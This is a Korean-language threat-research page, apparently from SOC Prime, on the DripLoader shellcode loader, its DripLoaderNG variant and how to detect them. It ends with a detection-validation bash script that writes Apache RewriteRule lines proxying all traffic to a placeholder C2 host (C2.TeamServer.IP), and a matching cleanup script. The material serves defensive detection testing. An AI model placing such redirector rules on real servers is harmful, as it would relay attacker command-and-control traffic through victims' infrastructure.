SOC Prime Bias: 중간

27 Nov 2025 16:23 UTC

DripLoader 멀웨어: 셸코드 실행 및 방어 회피

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon 팔로우
DripLoader 멀웨어: 셸코드 실행 및 방어 회피
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

요약

이 기사는 DripLoader라는 쉘코드 로더를 조사하며, 메모리를 할당하고, 쉘코드를 쓰고, 페이지 권한을 실행 가능으로 전환한 후 이를 실행합니다. 이 로더가 Havoc C2 프레임워크에 의해 지원되는 HTTPS 리다이렉터를 통해 전달되는 방법과 코드가 압축 및 간접 시스템 호출로 난독화될 수 있는 방법을 다룹니다. 또한 .node 사이드로딩과 추가 회피 기술에 의존하는 업그레이드된 바이너트 DripLoaderNG를 소개하며, 실용적인 탐지 가이드와 메모리 분석 도구도 제시합니다.

조사

조사는 Havoc이 맞춤 Apache 리다이렉터를 통해 압축된 쉘코드를 전달하는 실험실 환경을 설명합니다. 로더는 64KB의 영역을 예약하고, 4KB 페이지를 커밋하며, 보호 플래그를 수정하고 페이로드를 실행합니다. DripLoaderNG는 간접 시스템 호출과 Slack Electron 애플리케이션을 대상으로 하는 .node 모듈 사이드로딩을 도입합니다. 탐지는 Moneta, PE-sieve 및 지원 KQL 쿼리 같은 도구를 사용하여 보여줍니다.

완화

완화 단계에는 의심스러운 HTTPS 리다이렉트를 모니터링하고, 위조된 User-Agent 문자열을 감지하며, 드문 .node 파일을 플래그하고 간접 시스템 호출 행동을 식별하기 위한 EDR 기능을 활용하는 것이 포함됩니다. 추가 권장 사항에는 Sliver/Donut 구성 조정을 통해 AMSI 변조를 줄이고 서명되지 않은 네이티브 모듈의 실행을 제한하는 것이 포함됩니다.

대응

활동이 감지되면 영향을 받은 엔드포인트를 격리하고, 문제의 프로세스를 멈추고, 메모리 덤프를 캡처하며 주입된 쉘코드를 검사하십시오. C2 도메인이나 IP를 차단하고 노출된 자격 증명을 다시 설정하며, 특정 사용자 에이전트 및 .node 파일 지표에 대한 방어 규칙을 배포하십시오. 포렌식 분석을 수행하고 관찰된 간접 시스템 호출 패턴을 커버하기 위해 탐지 콘텐츠를 새로 고치십시오.

공격 흐름

시뮬레이션 실행

전제 조건: 원격 분석 및 기준 선행 검사를 통과해야 합니다.

합리성: 이 섹션에서는 탐지 규칙을 트리거하도록 설계된 상대자의 기술(TTP)의 정확한 실행을 자세히 설명합니다. 명령과 설명은 반드시 식별된 TTP를 직접 반영하고 탐지 논리에 의해 기대되는 정확한 원격 분석을 생성해야 합니다. 추상적이거나 관련 없는 예는 오진으로 이어질 것입니다.

  • 공격 서사 및 명령:
    악성 인프라의 운영자는 피해자 웹 서버를 C2 서버로의 전이 역할을 하도록 준비합니다. 그들은 Apache 가상 호스트 구성에 두 개의 RewriteRule 지시문을 삽입합니다. 하나는 모든 들어오는 트래픽을 https://C2.TeamServer.IP:443 ([P] 플래그) 그리고 두 번째 것은 모든 요청을 무해한 Google URL( [L,R=302] )로 리다이렉트합니다. Apache를 다시 로드한 후, 공격자는 Sigma 규칙에 정의된 정확한 가짜 User-Agent 문자열을 포함하는 조작된 HTTP 요청을 발행합니다. Apache는 요청을 처리하고, User-Agent를 기록하며, 리다이렉션 엔진은 프록시 작업을 기록하여 두 가지 탐지 조건을 충족시킵니다.

  • 회귀 테스트 스크립트:

    #!/usr/bin/env bash
    # -------------------------------------------------
    # DripLoader 탐지 검증 스크립트
    # -------------------------------------------------
    
    APACHE_CONF="/etc/apache2/sites-available/000-default.conf"
    BACKUP_CONF="/tmp/000-default.conf.bak"
    
    # 1. 현재 설정 백업
    sudo cp "$APACHE_CONF" "$BACKUP_CONF"
    
    # 2. 악성 리다이렉트 규칙 삽입
    sudo bash -c "cat >> $APACHE_CONF <<'EOF'
    
    # BEGIN DripLoader Test Rules
    RewriteEngine On
    RewriteRule ^.*$ "https://C2.TeamServer.IP:443%{REQUEST_URI}" [P]
    RewriteRule ^.*$ "https://www.google.com" [L,R=302]
    # END DripLoader Test Rules
    
    EOF"
    
    # 3. Apache 변경 사항 적용을 위한 리로드
    sudo systemctl reload apache2
    
    # 4. 정확한 위조 User-Agent로 악성 요청 발송
    curl -s -o /dev/null -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/ Safari/537.366" http://localhost/
    
    echo "악성 요청 발송 완료. SIEM에서 탐지 경고를 확인하십시오."
  • 정리 명령:

    #!/usr/bin/env bash
    # -------------------------------------------------
    # DripLoader 탐지 검증 정리
    # -------------------------------------------------
    
    APACHE_CONF="/etc/apache2/sites-available/000-default.conf"
    BACKUP_CONF="/tmp/000-default.conf.bak"
    
    # 원래 설정 복원
    if [[ -f "$BACKUP_CONF" ]]; then
        sudo cp "$BACKUP_CONF" "$APACHE_CONF"
        sudo systemctl reload apache2
        echo "원래 Apache 설정 복원 완료."
    else
        echo "백업을 찾을 수 없음; 수동 정리가 필요할 수 있습니다."
    fi